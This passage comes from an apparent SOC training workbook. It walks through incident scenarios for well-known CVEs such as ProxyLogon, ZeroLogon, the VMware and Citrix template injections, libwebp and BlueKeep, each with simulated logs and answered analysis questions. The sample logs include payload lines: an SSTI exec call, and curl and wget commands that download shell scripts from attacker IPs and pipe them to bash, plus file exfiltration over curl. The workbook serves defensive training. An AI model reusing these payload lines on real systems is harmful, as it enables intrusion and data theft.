10. Why is this exploit considered dangerous?
11. Can this attack be executed without valid credentials?
12. What MITRE technique is used to collect email data?
13. What tools or scripts typically automate ProxyLogon attacks?
14. What immediate containment steps should SOC take?
15. What long-term measures should be implemented to secure Exchange Servers?

Answers

1. What type of vulnerability is CVE-2021-26855?
Server-Side Request Forgery (SSRF) in Microsoft Exchange that allows the attacker to impersonate backend services.
2. What is the initial access method in this attack?
Exploitation of a public-facing Exchange Server using the ProxyLogon vulnerability chain starting with unauthenticated SSRF.
3. What logs show web shell deployment?
 - File System Logs: File written to C:\inetpub\wwwroot\aspnet_client\s.aspx
 - IIS Logs: Access to ecp/y.js endpoint with SSRF headers
4. Which script shows command execution from the attacker's server?
PowerShell script block log executing IEX (New-Object Net.WebClient)... to download and run s.aspx.
5. What file was dropped and where?
A web shell file named s.aspx was dropped in the Exchange web root directory:
C:\inetpub\wwwroot\aspnet_client\s.aspx
6. What user account was used to export mailbox contents?
NT AUTHORITY\SYSTEM – Indicates the attacker gained SYSTEM-level access and used Exchange Admin functions.
7. What log indicates email data theft?
Exchange Admin Audit Logs showing Export-Mailbox activity targeting
ceo@internal.org.
8. Which external IP received the exfiltrated data?
198.51.100.99 – Destination of outbound HTTP POST to /upload.php.
9. What does the 'X-AnonResource-Backend' header indicate?
It's used in the SSRF payload to redirect internal backend requests, tricking Exchange into proxying internal resource access.
10. Why is this exploit considered dangerous?
 - Unauthenticated exploitation
 - Can lead to full SYSTEM-level control
 - Enables mailbox theft, web shell deployment and long-term persistence
 - Was massively exploited in the wild by state actors and ransomware groups
11. Can this attack be executed without valid credentials?
Yes – CVE-2021-26855 (SSRF) is unauthenticated and forms the basis of the ProxyLogon attack chain.
12. What MITRE technique is used to collect email data?
T1114 – Email Collection, specifically via Export-Mailbox and EWS access.
13. What tools or scripts typically automate ProxyLogon attacks?
 - Public PoC scripts on GitHub (e.g., ProxyLogon exploit chains)
 - Custom PowerShell or Python scripts using Impacket, Exchange SSRF wrappers, or Metasploit modules

14. What immediate containment steps should SOC take?

- Isolate the Exchange Server from the network
- Search for and delete web shells
- Revoke tokens and reset credentials
- Block external IPs involved in the attack
- Begin incident response and forensic triage

15. What long-term measures should be implemented to secure Exchange Servers?

- Patch all vulnerabilities (especially CVE-2021-26855 and related chain)
- Restrict external access to Exchange where possible
- Monitor for signs of web shell activity
- Implement network segmentation
- Use WAF or reverse proxy in front of Exchange
- Enable PowerShell logging, audit logs and SIEM monitoring

SCENARIO 8: CVE-2020-1472 (ZEROLOGON – PRIVILEGE ESCALATION TO DOMAIN ADMIN)

Category: Privilege Escalation via Netlogon Protocol Flaw

MITRE ATT&CK Mapping:

- Privilege Escalation: T1068 – Exploitation for Privilege Escalation
- Credential Access: T1003 – OS Credential Dumping
- Lateral Movement: T1021.002 – SMB/Windows Admin Shares
- Impact: T1485 – Data Destruction (possible in chained attacks)

Incident: An attacker within the internal network exploited CVE-2020-1472 (ZeroLogon) to impersonate a Domain Controller and reset the machine account password of a DC to an empty value. This allowed them to authenticate as the DC using a forged Netlogon session and dump Active Directory credentials using tools like Mimikatz or secretsdump.py.

This exploit does not require valid credentials and only needs network access to the DC's Netlogon service over port 445/135.

Logs

Security Event Log (Event ID 4742 – Computer Account Change)

A computer account was changed.

Target Account: DC1\$

Changed Attribute: Password (Set to null)

Caller User Name: Anonymous Logon

Caller Process: netlogon.dll

Source IP: 10.20.10.101

Sysmon Logs (Event ID 1 – Process Creation)

Process: python.exe

CommandLine: python.exe zerologon_exploit.py --target 10.20.10.10

User: attacker-pc\user1

Windows Event Log (Event ID 4624 – Successful Logon)

Logon Type: 3

Account: DC1\$

Authentication Package: NTLM

Source IP: 10.20.10.101

Credential Dumping Logs

Tool: secretsdump.py

Target: 10.20.10.10 (Domain Controller)

Exported: ntds.dit and SYSTEM hive

Users Dumped: 133 accounts

SIEM Alert

Rule Name: ZeroLogon Exploitation Attempt – CVE-2020-1472

Severity: Critical

Alert ID: SIEM-ALERT-1547

Description: An anomalous Netlogon connection from 10.20.10.101 reset the password of DC1\$ machine account without authentication. Follow-up credential dumping activity was detected, suggesting full domain compromise via CVE-2020-1472.

Analysis Questions

1. What is the vulnerability exploited in this scenario?
2. What is the impact of setting a machine account password to null?
3. What authentication protocol was exploited?
4. Which process initiated the attack?
5. What logon type is associated with the DC account activity?
6. Which log reveals the credential dumping?
7. What IP address did the attacker originate from?
8. Why is ZeroLogon considered a critical vulnerability?
9. What log indicates that the exploit succeeded?
10. Can this attack be performed by an unauthenticated user?
11. What tool is commonly used with this CVE in red team or APT operations?
12. How would you detect this behaviour in a SIEM?
13. What are the risks after DC machine password is reset?
14. What is the immediate containment step?
15. How should organisations defend against ZeroLogon permanently?

Answers

1. What is the vulnerability exploited in this scenario?
CVE-2020-1472 (ZeroLogon) – A flaw in the Netlogon Remote Protocol (MS-NRPC) allowing unauthenticated users to impersonate domain controllers.
2. What is the impact of setting a machine account password to null?
It breaks trust between the Domain Controller and Active Directory. The attacker can then authenticate as the DC, access sensitive services, or dump the entire AD database.

3. What authentication protocol was exploited?
Netlogon (MS-NRPC) – The attacker bypasses authentication by exploiting a cryptographic flaw in the protocol.
4. Which process initiated the attack?
python.exe running the zerologon_exploit.py script.
5. What logon type is associated with the DC account activity?
Logon Type 3 – Network logon, used for accessing shared resources over the network (e.g., SMB).
6. Which log reveals the credential dumping?
The secretsdump.py log showing export of ntds.dit and SYSTEM hive, which contain domain credentials.
7. What IP address did the attacker originate from?
10.20.10.101
8. Why is Zerologon considered a critical vulnerability?
 - Unauthenticated
 - Provides domain-level privileges
 - Enables full Active Directory compromise
 - Can be automated and weaponised easily
9. What log indicates that the exploit succeeded?
Event ID 4742 – Computer account password for DC1\$ was changed with Anonymous Logon as the caller, which should never happen under normal conditions.
10. Can this attack be performed by an unauthenticated user?
Yes – As long as the attacker can reach the Netlogon service over port 445/135, no prior credentials are required.
11. What tool is commonly used with this CVE in red team or APT operations?
 - Impacket's zerologon_tester.py or secretsdump.py
 - Custom Python scripts replicating the Zerologon exploit logic
12. How would you detect this behaviour in a SIEM?
 - Event ID 4742 where DC1\$ password is reset with anonymous logon
 - Correlate with NTLM authentication events (4624) from unusual sources
 - Detect use of Impacket tools or PowerShell/Mimikatz usage after the event
13. What are the risks after DC machine password is reset?
 - Domain trust is broken, causing replication issues
 - Attacker can impersonate the DC, run lateral movement, dump secrets, or create persistence
 - Ransomware or destructive actions may follow soon after
14. What is the immediate containment step?

- Isolate the Domain Controller immediately
- Reset the machine account password using a known-good backup DC
- Audit AD and determine if credentials were dumped
- Rebuild the compromised DC if trust cannot be re-established securely

15. How should organisations defend against ZeroLogon permanently?

- Apply Microsoft's patch: KB4574727 or cumulative updates post-September 2020
- Block unnecessary Netlogon access from non-DC systems
- Monitor for anonymous logons and machine password resets
- Enforce secure channel enforcement using Microsoft's DC enforcement mode
- Enable audit logging for all machine account modifications

SCENARIO 9: CVE-2022-22954 (VMWARE WORKSPACE ONE ACCESS – REMOTE CODE EXECUTION VIA SERVER-SIDE TEMPLATE INJECTION)

Category: Unauthenticated Remote Code Execution

MITRE ATT&CK Mapping:

- Initial Access: T1190 – Exploit Public-Facing Application
- Execution: T1059.001 – Command and Scripting Interpreter: PowerShell
- Persistence: T1505.003 – Server Software Component: Web Shell
- Discovery: T1082 – System Information Discovery
- Impact: T1496 – Resource Hijacking (if used for crypto mining or lateral deployment)

Incident: A public-facing VMware Workspace ONE Access (formerly vIDM) server was compromised via CVE-2022-22954, a critical server-side template injection (SSTI) vulnerability. The attacker submitted malicious input to a specific endpoint, triggering code execution in the server context without authentication.

Upon gaining access, the attacker ran reconnaissance commands and dropped a reverse shell. Later logs showed attempts to deploy a second-stage payload and outbound connections to a known C2 infrastructure.

Logs

Web Access Logs (VMware Workspace ONE)

2022-04-20 18:32:07 POST /catalog-portal/ui/oauth/verify
User-Agent: Mozilla/5.0
Payload: \${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl http://198.51.100.66/shell.sh')}
Status: 200

Sysmon Logs (Event ID 1 – Process Creation)

ParentImage: java.exe
Image: cmd.exe
CommandLine: cmd.exe /c curl http://198.51.100.66/shell.sh | bash
User: SYSTEM

Firewall Logs

Outbound connection:
Source: 10.1.10.30 (vIDM server)
Destination: 198.51.100.66:80

Protocol: HTTP
Bytes Sent: 1024
Bytes Received: 8096

NDR Logs (Post-exploitation activity)

PowerShell Beacon initiated
C2 traffic to 198.51.100.66:443 every 60 seconds
Payload: encrypted HTTPS traffic – suspected reverse shell

SIEM Alert

Rule Name: Exploitation Attempt – VMware SSTI (CVE-2022-22954) with C2 Activity

Severity: Critical

Alert ID: SIEM-ALERT-1625

Description: A public-facing VMware Workspace ONE server received crafted SSTI payloads triggering Java code execution. Child processes from java.exe spawned curl and PowerShell traffic to known malicious C2 infrastructure. Exploit matches indicators for CVE-2022-22954.

Analysis Questions

1. What vulnerability was exploited in this attack?
2. What kind of injection is used here?
3. Which endpoint was targeted?
4. Was authentication required to exploit this service?
5. What is the purpose of the `.getRuntime().exec()` call in the payload?
6. What log confirms that code execution succeeded?
7. What remote server hosted the payload?
8. What protocol was used for command-and-control?
9. What is the role of `shell.sh` in this scenario?
10. Which process executed the attacker's command?
11. How would you detect similar exploitation patterns in the future?
12. What are the risks of leaving vIDM exposed to the internet?
13. What mitigation steps are recommended for this CVE?
14. How would you respond to persistent C2 activity from the server?
15. What is the long-term strategy for securing similar web apps?

Answers

1. What vulnerability was exploited in this attack?
CVE-2022-22954 – A server-side template injection (SSTI) vulnerability in VMware Workspace ONE Access.

2. What kind of injection is used here?
SSTI (Server-Side Template Injection) – Allows execution of code by injecting malicious expressions into server-rendered templates.
3. Which endpoint was targeted?
/catalog-portal/ui/oauth/verify – This endpoint processed unvalidated input, enabling the SSTI attack.
4. Was authentication required to exploit this service?
No – The exploit works without authentication, making it accessible from the internet if exposed.
5. What is the purpose of the `.getRuntime().exec()` call in the payload?
To execute arbitrary OS commands on the server – in this case, downloading and executing a shell script from a remote server.
6. What log confirms that code execution succeeded?
Sysmon logs show `java.exe` spawning `cmd.exe`, which executes the payload (`curl ... | bash`) – proof of successful command execution.
7. What remote server hosted the payload?
198.51.100.66 – The attacker's C2 infrastructure hosting `shell.sh`.
8. What protocol was used for command-and-control?
HTTPS (port 443) – Used for persistent, encrypted communication from the server to the attacker.
9. What is the role of `shell.sh` in this scenario?
It likely contains a reverse shell or second-stage script to establish C2 or download additional payloads.
10. Which process executed the attacker's command?
`java.exe` spawned `cmd.exe`, which ran the attacker's `curl` command.
11. How would you detect similar exploitation patterns in the future?

- Monitor for `java.exe` spawning `cmd.exe` or PowerShell
- Look for outbound `curl`/`wget` from web services
- Trigger alerts on SSTI indicators like `${"..."}` in web inputs
- Flag unexpected traffic to known C2 IPs

12. What are the risks of leaving vIDM exposed to the internet?

- Unauthenticated RCE
- Web shell deployment
- Credential harvesting
- Use as a pivot point to reach internal resources

13. What mitigation steps are recommended for this CVE?

- Apply VMware patch immediately
- Block public access to vIDM unless strictly necessary
- Use WAF rules to block SSTI payloads

- Enable process and network monitoring

14. How would you respond to persistent C2 activity from the server?

- Immediately isolate the server from the network
- Terminate suspicious processes
- Collect memory, logs and artifacts
- Identify lateral movement or additional implants
- Fully re-image or restore from known-good backup

15. What is the long-term strategy for securing similar web apps?

- Enforce secure coding practices (e.g., input validation, template sandboxing)
- Regularly patch exposed applications
- Place sensitive apps behind a reverse proxy or VPN
- Conduct external attack surface scans
- Apply WAF, EDR and threat detection rules for internet-facing services

SCENARIO 10: CVE-2023-3519 (CITRIX ADC AND GATEWAY – REMOTE CODE EXECUTION VIA TEMPLATE INJECTION)

Category: Unauthenticated Remote Code Execution

MITRE ATT&CK Mapping:

- Initial Access: T1190 – Exploit Public-Facing Application
- Execution: T1059 – Command and Scripting Interpreter
- Persistence: T1505 – Server Software Component
- Collection: T1119 – Automated Collection
- Exfiltration: T1041 – Exfiltration Over C2 Channel

Incident: An attacker exploited CVE-2023-3519, a critical unauthenticated RCE vulnerability affecting Citrix ADC and Gateway, by submitting malicious inputs that triggered a template injection within the system's configuration interface. This vulnerability allowed the attacker to execute arbitrary commands and deploy a web shell, granting full control of the appliance.

Internal investigation revealed that sensitive credentials were scraped from memory, configuration backups were downloaded and outbound connections to a known C2 server were established shortly afterward.

Logs

Citrix ADC Syslog Events

Jul 19 14:23:45 mgmt0 ns.log: POST /vpn/resources/vpn?id=%7B%7B7*7%7D%7D
HTTP/1.1
Status: 200
User-Agent: python-requests/2.25.1
RemoteAddr: 192.0.2.85

Process Execution Log (Custom EDR on appliance)

Parent Process: /netscaler/ns/bin/nshttpd
Spawned: /bin/bash -c "wget http://203.0.113.22/drop.sh -O /var/tmp/x.sh && bash /var/tmp/x.sh"
UID: root

Firewall Logs

Source IP: 192.0.2.85 → Citrix Gateway (10.0.0.25)
Port: 443

Inbound traffic allowed

Outbound from Citrix: 10.0.0.25 → 203.0.113.22:443 (C2 communication)

File Transfer Logs

/var/nsconfig/ns.conf downloaded via local shell

/var/log/ns.log archived and sent to 203.0.113.22 via curl

SIEM Alert

Rule Name: Exploitation of Citrix ADC via CVE-2023-3519 – Web Shell Activity Observed

Severity: Critical

Alert ID: SIEM-ALERT-1711

Description: Unauthenticated attacker exploited Citrix ADC via template injection vulnerability (CVE-2023-3519). Command execution observed from web server, followed by configuration file exfiltration and C2 communications.

Analysis Questions

1. What product and version was affected in this scenario?
2. What type of vulnerability is CVE-2023-3519?
3. What endpoint was targeted in the attack?
4. Was authentication required for exploitation?
5. What is the significance of %7B%7B7*7%7D%7D in the request?
6. What process confirmed the command execution?
7. What file was downloaded and executed?
8. Which IP addresses are attacker-controlled?
9. What outbound activities were observed after exploitation?
10. What kind of data was exfiltrated?
11. How was the payload delivered and executed?
12. What logs indicated persistence or shell installation?
13. What's the danger of leaving Citrix ADC exposed to the internet?
14. What are the immediate containment steps?
15. What are the long-term mitigation and hardening actions?

Answers

1. What product and version was affected in this scenario?
Citrix ADC and Citrix Gateway – Vulnerable versions affected by CVE-2023-3519 prior to the July 2023 security updates.
2. What type of vulnerability is CVE-2023-3519?
Unauthenticated Remote Code Execution via template injection vulnerability.
3. What endpoint was targeted in the attack?
/vpn/resources/vpn – The attacker injected a payload via the query parameter (id).

4. Was authentication required for exploitation?
No – The exploit works without authentication, allowing unauthenticated access to command execution.
5. What is the significance of %7B%7B7*7%7D%7D in the request?
It's a template injection test payload that evaluates to 49 (7*7), used to validate that the input is being evaluated by a template engine.
6. What process confirmed the command execution?
 - /netscaler/ns/bin/nshttpd spawning
 - /bin/bash to download and execute the attacker's script x.sh
7. What file was downloaded and executed?
A script named drop.sh, downloaded as /var/tmp/x.sh from http://203.0.113.22 and then executed via bash.
8. Which IP addresses are attacker-controlled?
 - 192.0.2.85 – Sent the malicious request to the Citrix Gateway
 - 203.0.113.22 – Hosted the payload and received exfiltrated data
9. What outbound activities were observed after exploitation?
 - Connection to 203.0.113.22:443 (likely reverse shell or data exfiltration)
 - Transfer of config and log files via curl
10. What kind of data was exfiltrated?
 - ns.conf (configuration file, may contain passwords or tokens)
 - ns.log (activity logs, possibly with sensitive metadata)
11. How was the payload delivered and executed?
Through wget fetching a remote shell script, which was then executed using bash.
12. What logs indicated persistence or shell installation?
 - Syslog and EDR logs showing command execution
 - Files written to /var/tmp/
 - Outbound C2 traffic to attacker IP
13. What's the danger of leaving Citrix ADC exposed to the internet?
 - Enables unauthenticated RCE
 - May lead to full takeover of network perimeter
 - Commonly targeted by APT groups and ransomware actors
14. What are the immediate containment steps?
 - Isolate the Citrix appliance
 - Block communication with attacker IPs
 - Identify and remove unauthorized files or shell scripts
 - Reboot or reimage the device from clean firmware
 - Reset any credentials stored on the device

15. What are the long-term mitigation and hardening actions?

- Apply Citrix patches and security updates immediately
- Restrict external access using firewall or reverse proxy
- Monitor and alert on command execution from Citrix processes
- Conduct regular config audits and credential hygiene
- Implement zero trust controls on management interfaces

SCENARIO 11: CVE-2023-4863 (WEBP IMAGE BUFFER OVERFLOW – REMOTE CODE EXECUTION VIA MALICIOUS IMAGE)

Category: Client-Side Remote Code Execution

MITRE ATT&CK Mapping:

- Initial Access: T1204.002 – User Execution: Malicious File
- Execution: T1059 – Command and Scripting Interpreter
- Defense Evasion: T1027 – Obfuscated Files or Information
- Persistence: T1547.001 – Registry Run Keys / Startup Folder

Incident: A user downloaded a WebP image from a seemingly legitimate site, embedded in a chat app or social media post. This image was weaponised to exploit a heap buffer overflow vulnerability in the libwebp library, used by Chrome, Firefox, Microsoft Edge, Electron apps (including Signal, Discord and others). Once rendered, the malformed image triggered code execution in the browser process context.

The exploit deployed a lightweight backdoor that connected to an attacker's C2 server and allowed the attacker to monitor clipboard data and keystrokes.

Logs

Browser Crash Log (from Chrome logs or telemetry)

Process: chrome.exe

Crash Reason: Heap buffer overflow in libwebp

Timestamp: 2023-09-20 13:41:06

Thread: Renderer

Image Source: <https://cdn.fakecdn.net/image/banner.webp>

EDR Logs (Process Creation & Memory Injection)

Parent: chrome.exe

Child: powershell.exe

Command: powershell -nop -w hidden -enc UwB5AHMAAdABlAG0ALg...

Injection Target: explorer.exe

Technique: Reflective DLL Injection

Firewall Logs

Outbound connection:

Source: 192.168.1.22 (User PC)

Destination: 185.225.73.40

Protocol: HTTPS
Port: 443
Persistent Beacon: 60s interval

File System Events

New file created:
C:\Users\Public\backdoor.dll
Registry Persistence:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ "Updater" = rundll32.exe
backdoor.dll,entry

SIEM Alert

Rule Name: Malicious WebP Exploit – CVE-2023-4863 Triggered via Browser
Severity: High
Alert ID: SIEM-ALERT-1852
Description: A buffer overflow exploit was triggered in libwebp (used in Chrome) by a malicious WebP image. Child PowerShell spawned, followed by DLL injection and persistent C2 communication. Backdoor was written to disk and configured to run at login.

Analysis Questions

1. What vulnerability was exploited in this case?
2. Which library was the target of this buffer overflow?
3. What kind of file triggered the exploit?
4. Which application was abused to execute code on the system?
5. Was user interaction required for the exploit to trigger?
6. What is the initial observable sign of exploitation?
7. What process was injected into for persistence or evasion?
8. What kind of malware behaviour followed the image load?
9. What file was dropped and where?
10. How was persistence achieved?
11. What IP address is likely hosting the attacker's C2?
12. How would you block this attack at the perimeter?
13. What role did PowerShell play in this attack?
14. How can this vulnerability be mitigated system-wide?
15. What steps should incident response take immediately after detection?

Answers

1. What vulnerability was exploited in this case?
CVE-2023-4863 – A heap buffer overflow in libwebp, leading to unauthenticated remote code execution.

2. Which library was the target of this buffer overflow?
libwebp – A widely used image processing library for rendering WebP images in browsers and apps.
3. What kind of file triggered the exploit?
A maliciously crafted .webp image file.
4. Which application was abused to execute code on the system?
Google Chrome (or any libwebp-integrated application like Edge, Firefox, Signal, or Discord).
5. Was user interaction required for the exploit to trigger?
Minimal – Rendering the image in a vulnerable application (e.g., opening a tab or viewing an embedded image) is enough; no clicks are needed.
6. What is the initial observable sign of exploitation?
Chrome crash logs indicating a heap buffer overflow in libwebp.
7. What process was injected into for persistence or evasion?
explorer.exe – Often used for in-memory injection to blend with legitimate system processes.
8. What kind of malware behaviour followed the image load?
 - PowerShell spawned
 - DLL dropped to disk and injected
 - C2 beaconing
 - Registry modified for persistence
9. What file was dropped and where?
C:\Users\Public\backdoor.dll – A backdoor DLL written to disk.
10. How was persistence achieved?
Via registry run key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ "Updater" launching rundll32.exe with the dropped DLL.
11. What IP address is likely hosting the attacker's C2?
185.225.73.40 – Destination of encrypted outbound traffic.
12. How would you block this attack at the perimeter?
 - Block known malicious IPs and unusual HTTPS destinations
 - Use SSL inspection where policy permits
 - Block PowerShell with encoded commands via firewall/EDR
 - Restrict outbound access from browsers to unusual ports
13. What role did PowerShell play in this attack?
It served as the initial post-exploitation payload runner, using obfuscated (-enc) commands to download, decode and execute the backdoor.
14. How can this vulnerability be mitigated system-wide?
 - Patch or update all software using libwebp, especially Chrome, Edge, Electron-based apps
 - Implement application allowlisting

- Disable unnecessary image rendering in messaging apps if possible
- Block execution of scripting languages (e.g., PowerShell) for non-admin users

15. What steps should incident response take immediately after detection?

- Isolate the affected system
- Terminate active C2 sessions and block destination IPs
- Collect memory dumps, EDR telemetry and registry artifacts
- Identify and remove the dropped DLL
- Reset user credentials (especially if clipboard or keystrokes were captured)
- Perform scope analysis to find additional impacted systems
- Ensure libwebp patches are applied organisation-wide

SCENARIO 12: CVE-2021-33742 (WINDOWS MSHTML ENGINE – REMOTE CODE EXECUTION VIA MALICIOUS OFFICE DOCUMENT)

Category: Client-Side RCE via MSHTML Component in Office

MITRE ATT&CK Mapping:

- Initial Access: T1566.001 – Phishing: Malicious Attachment
- Execution: T1203 – Exploitation for Client Execution
- Defense Evasion: T1218.010 – Mshta
- Persistence: T1547.001 – Registry Run Keys / Startup Folder
- Collection: T1115 – Clipboard Data

Incident: A user received a Word document via email titled “Salary_Adjustment_Notice.docx.” Upon opening the document, no macros were enabled, but it loaded a remote HTML file via the MSHTML rendering engine, which then exploited CVE-2021-33742 — a zero-day vulnerability in the Internet Explorer (MSHTML) component used by Microsoft Office apps.

The vulnerability enabled the attacker to run malicious scripts that executed mshta.exe with an attacker-hosted payload. The payload dropped a second-stage downloader, which connected to an external IP and delivered a backdoor with clipboard monitoring functionality.

Logs

Email Gateway Logs

Subject: Salary Adjustment Notice
From: hr-policy@staffmail.org
Attachment: Salary_Adjustment_Notice.docx
Delivered to: employee@company.local
Timestamp: 2021-06-14 09:31:12

Office Telemetry / Windows Logs

WINWORD.EXE loaded mshtml.dll
Remote HTML loaded from: <http://203.0.113.50/exploit.html>
No macros detected in document

EDR Process Logs

Parent: WINWORD.EXE
Child: mshta.exe

CommandLine: mshta.exe http://203.0.113.50/payload.hta
Child of mshta.exe: powershell.exe with -EncodedCommand

Firewall Logs

Outbound connection
Source: 10.0.20.15
Destination: 203.0.113.50
Protocol: HTTP
Port: 80
URL Accessed: /payload.hta

File System and Registry Logs

Dropped File: C:\Users\Public\apphost.exe
Persistence: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ "OfficeHelper" = apphost.exe

SIEM Alert

Rule Name: MSHTML Zero-Day Exploitation via Office – CVE-2021-33742
Severity: Critical
Alert ID: SIEM-ALERT-1936
Description: WINWORD.EXE initiated mshta.exe without macros enabled. Loaded a remote HTML page hosting a known CVE-2021-33742 exploit. PowerShell payload observed and backdoor persistence detected.

Analysis Questions

1. What vulnerability is exploited in this scenario?
2. What makes this exploit stealthy or dangerous?
3. Which Office component enabled the exploit?
4. What executable was abused to run attacker commands?
5. Was macro security bypassed in this case?
6. What log indicates the use of mshta.exe?
7. What kind of script file was downloaded and executed?
8. What IP address hosted the payload?
9. How was persistence achieved?
10. What file was dropped to the system?
11. How would this exploit be detected in an EDR or SIEM?
12. What technique was used to execute PowerShell stealthily?
13. What mitigation can block mshta abuse in Office scenarios?
14. How should phishing attachments be handled to avoid such risks?
15. What post-incident actions must be taken after detecting this compromise?

Answers

1. What vulnerability is exploited in this scenario?
CVE-2021-33742 – A remote code execution vulnerability in the MSHTML (Internet Explorer) rendering engine, used by Office apps to render web content.
2. What makes this exploit stealthy or dangerous?
 - No macros required
 - Leverages legitimate Office functionality
 - Exploits a zero-day vulnerability using a remote HTML reference embedded in the document
3. Which Office component enabled the exploit?
MSHTML.dll, the Internet Explorer rendering engine invoked by Microsoft Word.
4. What executable was abused to run attacker commands?
mshta.exe – Used to execute the attacker’s malicious HTA (HTML Application) file.
5. Was macro security bypassed in this case?
Yes – No macros were needed, which bypasses most traditional macro-blocking policies.
6. What log indicates the use of mshta.exe?
EDR process logs show WINWORD.EXE spawning mshta.exe, a known red flag in exploit chains.
7. What kind of script file was downloaded and executed?
An HTA file (payload.hta) containing obfuscated PowerShell for post-exploitation.
8. What IP address hosted the payload?
203.0.113.50
9. How was persistence achieved?
Through a registry run key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ “OfficeHelper” =
apphost.exe
10. What file was dropped to the system?
C:\Users\Public\apphost.exe – The backdoor executable that maintained access.
11. How would this exploit be detected in an EDR or SIEM?
 - Alert on mshta.exe spawned by Office apps
 - Flag PowerShell with encoded command
 - Detect registry modifications for persistence
 - Trigger on non-macro documents initiating outbound web access
12. What technique was used to execute PowerShell stealthily?
EncodedCommand (-enc) flag in PowerShell – used for obfuscation and evasion.
13. What mitigation can block mshta abuse in Office scenarios?
 - Block or restrict mshta.exe execution via AppLocker or WDAC
 - Disable ActiveX and external content rendering in Office
 - Apply the patch for CVE-2021-33742 (June 2021 security update)

14. How should phishing attachments be handled to avoid such risks?

- Use sandboxing for document detonation
- Block all documents that attempt to load external content
- Educate users to avoid opening unexpected or unsolicited Office documents

15. What post-incident actions must be taken after detecting this compromise?

- Isolate the endpoint
- Delete apphost.exe and kill malicious processes
- Remove registry persistence keys
- Check for lateral movement or exfiltration activity
- Reset credentials and conduct full malware scan
- Review mail gateway logs to identify additional recipients

SCENARIO 13: CVE-2019-0708 (BLUEKEEP – REMOTE DESKTOP SERVICES RCE)

Category: Pre-auth Remote Code Execution

MITRE ATT&CK Mapping:

- Initial Access: T1190 – Exploit Public-Facing Application
- Execution: T1059 – Command and Scripting Interpreter
- Defense Evasion: T1036 – Masquerading
- Persistence: T1543.003 – Windows Service
- Impact: T1499 – Endpoint Denial of Service (in some variants)

Incident: An attacker performed a network scan and found an unpatched Windows Server 2008 system with RDP (Remote Desktop Protocol) exposed to the internet. The attacker exploited CVE-2019-0708, known as BlueKeep, which affects older versions of Remote Desktop Services and allows for unauthenticated remote code execution without any user interaction.

Upon successful exploitation, a PowerShell script was dropped in memory to create a new user, install a backdoor and schedule a task for persistence. The attacker then used the system to scan and propagate across the internal network.

Logs

Firewall Logs

Inbound RDP Access

Source IP: 203.0.113.77

Destination IP: 10.0.0.50

Port: TCP 3389

Status: Allowed

Time: 2023-11-09 03:22:45

Windows Event Logs (Event ID 4624 – Logon)

Account Name: ANONYMOUS LOGON

Logon Type: 3 (Network)

Source Network Address: 203.0.113.77

Authentication Package: NTLM

EDR Process Tree

Parent: svchost.exe (RDP service)

Child: powershell.exe

Command: powershell -nop -w hidden -enc ZgBvAHIAZQB...

Activity: Created user "netadmin", added to local Administrators group

Scheduled Task Logs (Event ID 106)

Task Name: OfficeUpdateChecker

Action: C:\Users\Public\svc_update.exe

Run as: SYSTEM

Trigger: Daily at 01:00

Network Logs (Internal Lateral Movement)

Host: 10.0.0.50

Outbound SMB scans to 10.0.0.51–10.0.0.100

Protocol: TCP 445

Tools Observed: psexec.exe copied over admin share

SIEM Alert

Rule Name: RDP Exploitation Attempt (BlueKeep – CVE-2019-0708)

Severity: Critical

Alert ID: SIEM-ALERT-2055

Description: A pre-auth RDP exploit was attempted from 203.0.113.77 targeting vulnerable host 10.0.0.50. PowerShell spawned by RDP service. New local admin created. Scheduled task persistence and lateral movement observed via SMB.

Analysis Questions

1. What vulnerability is exploited in this scenario?
2. What service is the entry point for this attack?
3. Is user interaction required for the exploit to work?
4. Which Windows version is vulnerable to BlueKeep?
5. What process shows malicious activity immediately after exploitation?
6. What command technique was used to obfuscate the payload?
7. What local user was created post-exploitation?
8. What method was used for persistence?
9. What IP address initiated the attack?
10. What logon type is associated with the attacker's access?
11. How did the attacker attempt to spread internally?
12. What log evidence shows credential-less initial access?
13. What risks does exposing RDP to the internet present?
14. What patch remediates this vulnerability?
15. What incident response steps should follow this detection?

Answers

1. What vulnerability is exploited in this scenario?
CVE-2019-0708 (BlueKeep) – A critical vulnerability in Remote Desktop Services allowing unauthenticated remote code execution.
2. What service is the entry point for this attack?
Remote Desktop Protocol (RDP) – Port TCP 3389 on a vulnerable Windows system.
3. Is user interaction required for the exploit to work?
No – BlueKeep is pre-auth and does not require any user interaction once RDP is exposed.
4. Which Windows version is vulnerable to BlueKeep?
 - Windows 7
 - Windows Server 2008 and 2008 R2
 - (Older versions without the May 2019 patch)
5. What process shows malicious activity immediately after exploitation?
powershell.exe – Spawned as a child of svchost.exe, the RDP service host.
6. What command technique was used to obfuscate the payload?
Base64-encoded PowerShell using -enc (EncodedCommand) to evade detection.
7. What local user was created post-exploitation?
A new user: netadmin, added to the local Administrators group.
8. What method was used for persistence?
A scheduled task named OfficeUpdateChecker running svc_update.exe daily as SYSTEM.
9. What IP address initiated the attack?
203.0.113.77 – The attacker's public IP.
10. What logon type is associated with the attacker's access?
Logon Type 3 (Network) with Anonymous Logon – Common in RDP exploits like BlueKeep.
11. How did the attacker attempt to spread internally?
Via SMB scans and use of psexec.exe copied to internal hosts over admin shares (TCP 445).
12. What log evidence shows credential-less initial access?
Event ID 4624 with Account Name: ANONYMOUS LOGON – Indicates unauthenticated access using a vulnerability.
13. What risks does exposing RDP to the internet present?
 - Unauthenticated RCE with exploits like BlueKeep
 - Brute-force login attempts
 - Credential harvesting and lateral movement
 - Gateway for ransomware and APT intrusions
14. What patch remediates this vulnerability?
Microsoft Security Update released in May 2019

- For Windows 7 / Server 2008: KB4499175, KB4499180, etc.

15. What incident response steps should follow this detection?

- Immediately isolate the compromised system
- Terminate backdoor and PowerShell processes
- Remove the netadmin user and disable the scheduled task
- Perform credential hygiene and password resets
- Patch all vulnerable RDP servers
- Disable RDP from public internet exposure
- Scan for lateral movement and ensure endpoint containment

SCENARIO 14: CVE-2022-40684 (FORTINET AUTHENTICATION BYPASS – FULL ADMIN ACCESS VIA CRAFTED HTTP REQUEST)

Category: Unauthenticated Access / Privilege Escalation

MITRE ATT&CK Mapping:

- Initial Access: T1190 – Exploit Public-Facing Application
- Execution: T1059 – Command and Scripting Interpreter
- Persistence: T1136.001 – Create Account: Local Account
- Collection: T1119 – Automated Collection
- Exfiltration: T1041 – Exfiltration Over C2 Channel

